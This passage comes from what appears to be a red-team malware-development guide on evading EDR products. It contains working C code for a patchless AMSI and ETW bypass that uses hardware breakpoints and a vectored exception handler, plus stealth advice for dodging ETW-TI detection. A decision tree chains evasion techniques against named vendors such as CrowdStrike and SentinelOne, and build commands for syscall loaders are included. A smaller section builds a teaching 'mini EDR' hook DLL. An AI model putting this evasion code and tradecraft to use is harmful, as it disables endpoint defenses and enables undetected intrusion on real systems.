            // Return immediately — event never written
            ctx->Rip = *(DWORD64*)ctx->Rsp;
            ctx->Rsp += 8;
            ctx->Rax = 0;   // ERROR_SUCCESS
            ctx->Dr6 = 0;
            return EXCEPTION_CONTINUE_EXECUTION;
        }
    }

    return EXCEPTION_CONTINUE_SEARCH;
}

// ── Set hardware breakpoint on a function ─────────────────────
// Dr0-Dr3 = breakpoint addresses
// Dr7     = control register (enable bits)
BOOL set_hardware_breakpoint(LPVOID target_addr, int dr_index) {
    HANDLE hThread = GetCurrentThread();
    CONTEXT ctx    = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };

    if (!GetThreadContext(hThread, &ctx)) return FALSE;

    // Set the address in Dr0-Dr3
    switch (dr_index) {
        case 0: ctx.Dr0 = (DWORD64)target_addr; break;
        case 1: ctx.Dr1 = (DWORD64)target_addr; break;
        case 2: ctx.Dr2 = (DWORD64)target_addr; break;
        case 3: ctx.Dr3 = (DWORD64)target_addr; break;
        default: return FALSE;
    }

    // Enable local breakpoint in Dr7:
    // Bit (2*N) = local enable for Dr_N (execute breakpoint)
    ctx.Dr7 |= (1ULL << (2 * dr_index));

    return SetThreadContext(hThread, &ctx);
}

// ── Patchless bypass entry point ──────────────────────────────
BOOL patchless_amsi_etw_bypass() {
    // Resolve target functions
    HMODULE h_amsi = LoadLibraryA("amsi.dll");
    HMODULE h_ntdll = GetModuleHandleA("ntdll.dll");

    g_amsi_fn = GetProcAddress(h_amsi,  "AmsiScanBuffer");
    g_etw_fn  = GetProcAddress(h_ntdll, "EtwEventWrite");

    if (!g_amsi_fn || !g_etw_fn) {
        printf("[-] Failed to resolve target functions\n");
        return FALSE;
    }

    // Register VEH (high priority — installed first)
    PVOID veh_handle = AddVectoredExceptionHandler(1, HwbpVehHandler);
    if (!veh_handle) {
        printf("[-] AddVectoredExceptionHandler failed\n");
        return FALSE;
    }

    // Set hardware breakpoints
    set_hardware_breakpoint(g_amsi_fn, 0);  // Dr0 = AmsiScanBuffer
    set_hardware_breakpoint(g_etw_fn,  1);  // Dr1 = EtwEventWrite

    printf("[+] Patchless bypass active:\n");
    printf("    Dr0 → AmsiScanBuffer   (0x%p)\n", g_amsi_fn);
    printf("    Dr1 → EtwEventWrite    (0x%p)\n", g_etw_fn);
    printf("[+] amsi.dll bytes: UNMODIFIED (stealthy)\n");
    printf("[+] ntdll.dll bytes: UNMODIFIED (stealthy)\n");

    return TRUE;
}

// ── Remove bypass (cleanup) ───────────────────────────────────
BOOL remove_patchless_bypass(PVOID veh_handle) {
    HANDLE hThread = GetCurrentThread();
    CONTEXT ctx    = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };

    if (GetThreadContext(hThread, &ctx)) {
        ctx.Dr0 = 0; ctx.Dr1 = 0;
        ctx.Dr2 = 0; ctx.Dr3 = 0;
        ctx.Dr7 = 0;
        SetThreadContext(hThread, &ctx);
    }
    RemoveVectoredExceptionHandler(veh_handle);
    printf("[*] Patchless bypass removed\n");
    return TRUE;
}

[OPSEC] ETW-TI (Threat Intelligence provider) monitoring: Setting debug registers via SetThreadContext / NtSetContextThread generates events captured by the ETW Threat Intelligence provider. Use NtContinue instead of SetThreadContext to set breakpoints stealthily — NtContinue doesn't fire ETW-TI events.

[TOOL] Reference: https://github.com/TheEnergyStory/PatchlessEtwAndAmsiBypass (Turla Kazuar v3 technique)


17. Building a Mini EDR (Hook Your Own Process)

What it means: Building a minimal EDR DLL teaches you exactly how hooks work from the EDR's perspective. This is the best learning exercise — hook your own process, inspect calls, understand the mechanism, then apply the knowledge to bypasses.

17.1 Minimal EDR DLL (Detours Library)

// mini_edr.cpp — Minimal EDR DLL using Microsoft Detours
// Hooks NtAllocateVirtualMemory in the target process
// Compile: cl.exe /nologo /W0 mini_edr.cpp /MT /link
//          /DLL detours\lib.X64\detours.lib /OUT:mini_edr.dll

#include <windows.h>
#include <detours.h>
#include <stdio.h>

typedef NTSTATUS (NTAPI* pNtAllocateVirtualMemory)(
    HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG);
typedef NTSTATUS (NTAPI* pNtWriteVirtualMemory)(
    HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);

// ── Original function pointers (saved by Detours) ──────────────
static pNtAllocateVirtualMemory origNtAllocateVirtualMemory = NULL;
static pNtWriteVirtualMemory    origNtWriteVirtualMemory    = NULL;

// ── Hook handler: NtAllocateVirtualMemory ─────────────────────
NTSTATUS NTAPI hook_NtAllocateVirtualMemory(
    HANDLE ProcessHandle, PVOID* BaseAddress,
    ULONG_PTR ZeroBits, PSIZE_T RegionSize,
    ULONG AllocationType, ULONG Protect)
{
    printf("[HOOK] NtAllocateVirtualMemory called\n");
    printf("  Process: 0x%p | Size: 0x%zx | Protect: 0x%lx\n",
           ProcessHandle, *RegionSize, Protect);

    // RWX allocation = classic shellcode loader IOC
    if (Protect & PAGE_EXECUTE_READWRITE) {
        printf("[ALERT] RWX allocation — suspicious!\n");
        // To block: return STATUS_ACCESS_DENIED;
    }

    // Remote process allocation = injection attempt
    if (ProcessHandle != GetCurrentProcess() &&
        ProcessHandle != (HANDLE)-1) {
        printf("[ALERT] Remote process allocation — possible injection!\n");
    }

    // Allow — call original
    return origNtAllocateVirtualMemory(
        ProcessHandle, BaseAddress, ZeroBits,
        RegionSize, AllocationType, Protect
    );
}

// ── Hook handler: NtWriteVirtualMemory ────────────────────────
NTSTATUS NTAPI hook_NtWriteVirtualMemory(
    HANDLE ProcessHandle, PVOID BaseAddress,
    PVOID Buffer, SIZE_T NumberOfBytesToWrite,
    PSIZE_T NumberOfBytesWritten)
{
    printf("[HOOK] NtWriteVirtualMemory called\n");
    printf("  Target: 0x%p | Size: 0x%zx\n", BaseAddress, NumberOfBytesToWrite);

    if (ProcessHandle != GetCurrentProcess())
        printf("[ALERT] Write to remote process — injection!\n");

    return origNtWriteVirtualMemory(
        ProcessHandle, BaseAddress, Buffer,
        NumberOfBytesToWrite, NumberOfBytesWritten
    );
}

// ── DllMain — install/remove hooks ────────────────────────────
BOOL WINAPI DllMain(HINSTANCE hInst, DWORD reason, LPVOID reserved) {
    HMODULE ntdll = GetModuleHandleA("ntdll.dll");

    if (reason == DLL_PROCESS_ATTACH) {
        // ── Install hooks via Detours ──────────────────────────
        origNtAllocateVirtualMemory = (pNtAllocateVirtualMemory)
            GetProcAddress(ntdll, "NtAllocateVirtualMemory");
        origNtWriteVirtualMemory = (pNtWriteVirtualMemory)
            GetProcAddress(ntdll, "NtWriteVirtualMemory");

        DetourTransactionBegin();
        DetourUpdateThread(GetCurrentThread());
        DetourAttach(&(PVOID&)origNtAllocateVirtualMemory,
                     hook_NtAllocateVirtualMemory);
        DetourAttach(&(PVOID&)origNtWriteVirtualMemory,
                     hook_NtWriteVirtualMemory);
        DetourTransactionCommit();

        printf("[*] Mini EDR DLL loaded — hooks installed\n");
    }

    if (reason == DLL_PROCESS_DETACH) {
        DetourTransactionBegin();
        DetourUpdateThread(GetCurrentThread());
        DetourDetach(&(PVOID&)origNtAllocateVirtualMemory,
                     hook_NtAllocateVirtualMemory);
        DetourDetach(&(PVOID&)origNtWriteVirtualMemory,
                     hook_NtWriteVirtualMemory);
        DetourTransactionCommit();
    }

    return TRUE;
}

17.2 Inject Mini EDR via LoadLibrary

# Build mini_edr.dll (MSVC with Detours)
cl.exe /nologo /W0 mini_edr.cpp /MT /link ^
    /DLL detours\lib.X64\detours.lib /OUT:mini_edr.dll

# Inject into a process (PowerShell / C injector)
# Or use: Invoke-DllInjection from PowerSploit
# Or: rundll32.exe to load it in a test process

18. Tools Reference

Tool Purpose Link
SysWhispers3 Syscall stub generator (Hell's/Halo's/indirect) https://github.com/klezVirus/SysWhispers3
Hell's Gate Dynamic SSN resolution https://github.com/am0nsec/HellsGate
RefleXXion ntdll unhooking via NtOpenSection https://github.com/dobin/RefleXXion
ThreadStackSpoofer Sleep-time stack spoofing https://github.com/mgeeky/ThreadStackSpoofer
SilentMoonwalk Active call-time stack spoofing https://github.com/klezVirus/SilentMoonwalk
CallStackSpoofer Synthetic frame stack spoofer https://github.com/WithSecureLabs/CallStackSpoofer
DarkWidow APC injection + stack spoofing https://github.com/reveng007/DarkWidow
PatchlessEtwAndAmsiBypass HW breakpoint AMSI/ETW bypass https://github.com/TheEnergyStory/PatchlessEtwAndAmsiBypass
Detours Microsoft library for API hooking https://github.com/microsoft/Detours
EDRs (hook lists) Per-EDR hooked API lists https://github.com/Mr-Un1k0d3r/EDRs
hook_finder64 Detect hooked ntdll functions (see EDRs repo above)
ProtectMyTooling Multi-layer evasion chaining https://github.com/mgeeky/ProtectMyTooling
Inceptor Template-based EDR-bypass packer https://github.com/klezVirus/inceptor
MorphKatz x64 polymorphic code mutator https://github.com/gmh5225/MorphKatz

19. Comparison Matrix

Technique Stealthiness Complexity Defeats Hook? Defeats Stack Walk? Defeats ETW? Detected By
ntdll Unhook (disk) Low Low ✓ ALL hooks ✗ ✗ File I/O telemetry, VirtualProtect on ntdll
ntdll Unhook (KnownDlls) Medium Medium ✓ ALL hooks ✗ ✗ VirtualProtect on ntdll .text
Perun's Fart Medium Medium ✓ ALL hooks ✗ ✗ Process creation, ReadProcessMemory
Direct Syscalls Low Low ✓ Inline hooks ✗ ✗ syscall from non-ntdll memory
Hell's Gate Medium Medium ✓ inline hooks ✗ ✗ YARA on SSN resolution code
Indirect Syscalls High Medium ✓ inline hooks Partial ✗ Stack frame before ntdll
Call Stack Spoofing Very High High ✗ (needs other) ✓ ✗ Unwind info analysis
AMSI Patch (bytes) Low Low — — — amsi.dll hash mismatch
AMSI Reflection Medium Low — — — PowerShell script block logging
ETW Patch (bytes) Low Low — — ✓ ntdll hash mismatch
HW Breakpoint + VEH Very High High ✓ AMSI/ETW — ✓ ETW-TI (if SetThreadContext used)
Indirect SC + Stack Spoof Excellent Very High ✓ ✓ ✗ Kernel callbacks (ETWTI, kernel)

20. Cheat Sheet

Quick Hook Detection

# Check if ntdll functions are hooked (Python, Windows)
python3 hook_check.py
# or compile: hook_detector.c → hook_detector.exe

# From terminal — check EDR hooks with hook_finder64
hook_finder64.exe C:\Windows\System32\ntdll.dll

# PowerShell one-liner to detect E9 hooks
$ntdll=[System.Runtime.InteropServices.Marshal]::GetHINSTANCE(
    [System.AppDomain]::CurrentDomain.GetAssemblies() |
    Where-Object { $_.Location -like "*ntdll*" })
# (simplified — use full hook_check.py for real enumeration)

Bypass Selection Decision Tree

EDR Hooks Detected in ntdll?
│
├─ CTF / learning / minimal EDR?
│   └─ ntdll Unhook (disk) → most straightforward
│
├─ Mid-tier EDR (Carbon Black / Cylance)?
│   ├─ ntdll Unhook via KnownDlls
│   └─ Direct Syscalls (Hell's Gate for dynamic SSN)
│
├─ Tier-1 EDR (CrowdStrike / SentinelOne) — userland only?
│   ├─ Indirect Syscalls (SysWhispers3)
│   └─ + Call Stack Spoofing (SilentMoonwalk)
│
├─ Tier-1 EDR + memory scanning?
│   ├─ Patchless AMSI/ETW bypass (HW Breakpoints + VEH)
│   │   + use NtContinue (not SetThreadContext) to avoid ETW-TI
│   └─ Indirect Syscalls + Stack Spoofing
│
├─ Need to run C# / PowerShell tools?
│   ├─ Patch AMSI first (patchless preferred)
│   └─ Patch ETW (patchless preferred)
│
└─ APT simulation — maximum stealth?
    └─ Perun's Fart unhooking (no disk I/O)
       + Indirect Syscalls (SysWhispers3)
       + Active Stack Spoofing (SilentMoonwalk)
       + Patchless AMSI/ETW (NtContinue method)
       + Sleep obfuscation (Ekko/Gargoyle — heap encrypt during sleep)

SSN Reference (Windows 10 22H2 / Windows 11 22H2 x64)

Function                          SSN (hex)   SSN (dec)
──────────────────────────────────────────────────────────
NtAllocateVirtualMemory           0x18        24
NtWriteVirtualMemory              0x3A        58
NtCreateThreadEx                  0xC2        194
NtProtectVirtualMemory            0x50        80
NtOpenProcess                     0x26        38
NtReadVirtualMemory               0x3F        63
NtQueueApcThread                  0x44        68
NtCreateFile                      0x55        85
NtMapViewOfSection                0x28        40
NtUnmapViewOfSection              0x2A        42
NtSetContextThread                0xFB        251
NtSuspendProcess                  0x17F       383
LdrLoadDll                        N/A         (not a syscall — user-mode only)

⚠ SSNs change between Windows versions and even minor updates.
   Always use Hell's/Halo's/Tartarus' Gate for runtime resolution.
   NEVER hardcode SSNs in production red team tooling.

Common Hook Byte Signatures

Clean ntdll Nt* stub (intact — NOT hooked):
  4C 8B D1       mov r10, rcx
  B8 xx 00 00 00 mov eax, <SSN>
  0F 05          syscall
  C3             ret

Near JMP hook (E9 — most common EDR hook):
  E9 xx xx xx xx jmp <EDR_handler>
  00 00 00 00    (remainder of moved bytes)
  0F 05          syscall (still present — never reached)
  C3             ret

Absolute indirect JMP (FF 25 — 14-byte hook):
  FF 25 00 00 00 00    jmp [rip+0]
  xx xx xx xx xx xx   .quad <EDR_handler>

INT3 hook (CC — breakpoint hook):
  CC             int3 (fires exception → EDR exception handler)
  8B D1          ...

Push/Ret hook (68 / C3):
  68 xx xx xx xx push <addr_low>
  C7 44 24 04 xx mov dword ptr [rsp+4], <addr_high>
  C3             ret

Build Commands

# Compile C code (Windows targets, Linux host):
x86_64-w64-mingw32-gcc unhook_disk.c -o unhook_disk.exe -lntdll

# Compile with SysWhispers3 stubs (MinGW):
python syswhispers.py --functions NtAllocateVirtualMemory,\
NtWriteVirtualMemory,NtCreateThreadEx,NtProtectVirtualMemory,\
NtOpenProcess --out-file syscalls --compiler mingw
x86_64-w64-mingw32-gcc loader.c syscalls.c -o loader.exe

# Compile MASM stubs (MSVC):
ml64 /c syscalls.asm
cl.exe loader.c syscalls.c syscalls.obj /Fe:loader.exe /link ntdll.lib

# Compile mini EDR DLL (MSVC + Detours):
cl.exe /nologo mini_edr.cpp /MT /link ^
    /DLL detours\lib.X64\detours.lib /OUT:mini_edr.dll

MITRE ATT&CK Mapping

Technique ATT&CK ID Description
ntdll Unhooking T1562.001 Impair Defenses: Disable or Modify Tools
Direct / Indirect Syscalls T1055 Process Injection (evasion sub-technique)
AMSI Bypass T1562.001 Impair Defenses: Disable or Modify Tools
ETW Patching T1562.006 Impair Defenses: Indicator Blocking
Stack Spoofing T1036 Masquerading (hiding execution context)
Process Injection (via hooks) T1055 Process Injection
HW Breakpoint + VEH T1562.001 Patchless variant of impair defenses

References & Further Reading

Blogs & Write-ups: - MalwareTech — Introduction to Bypassing User Mode EDR Hooks: https://malwaretech.com/2023/12/an-introduction-to-bypassing-user-mode-edr-hooks.html - 0xdbgman — EDR Tradecraft Internals, Detection, Evasion: https://0xdbgman.github.io/posts/edr-internals-research-and-bypass/ - BenjiTrapp — Hunting the Watchers (hook detection): https://benjitrapp.github.io/attacks/2026-06-19-edr-hook-detection/ - RobinX0 — Userland EDR Bypass Stack: https://robinx0.github.io/blogs/edr-bypass/userland-edr-bypass-stack/ - Sektor7 — Perun's Fart: https://dosxuz.gitlab.io/post/perunsfart/ - CrowdStrike — Patchless AMSI Bypass via VEH²: https://www.crowdstrike.com/en-us/blog/crowdstrike-investigates-threat-of-patchless-amsi-bypass-attacks/ - HADESS — EDR Evasion Techniques Using Syscalls: https://hadess.io/edr-evasion-techniques-using-syscalls/

EDR Hook Lists (per vendor): - https://github.com/Mr-Un1k0d3r/EDRs (CrowdStrike, SentinelOne, Carbon Black, Sophos, etc.)

Key Tools: - SysWhispers3: https://github.com/klezVirus/SysWhispers3 - Hell's Gate: https://github.com/am0nsec/HellsGate - RefleXXion: https://github.com/dobin/RefleXXion - ThreadStackSpoofer: https://github.com/mgeeky/ThreadStackSpoofer - SilentMoonwalk: https://github.com/klezVirus/SilentMoonwalk - PatchlessEtwAndAmsiBypass: https://github.com/TheEnergyStory/PatchlessEtwAndAmsiBypass

Videos / Courses: - Sektor7 — Red Team Operator: Malware Development (maldev.sektor7.net) - DEF CON 31 Workshop — "(In)direct Syscalls: A Journey from High to Low" - Red Team Notes — https://www.ired.team

← Malware development top ↑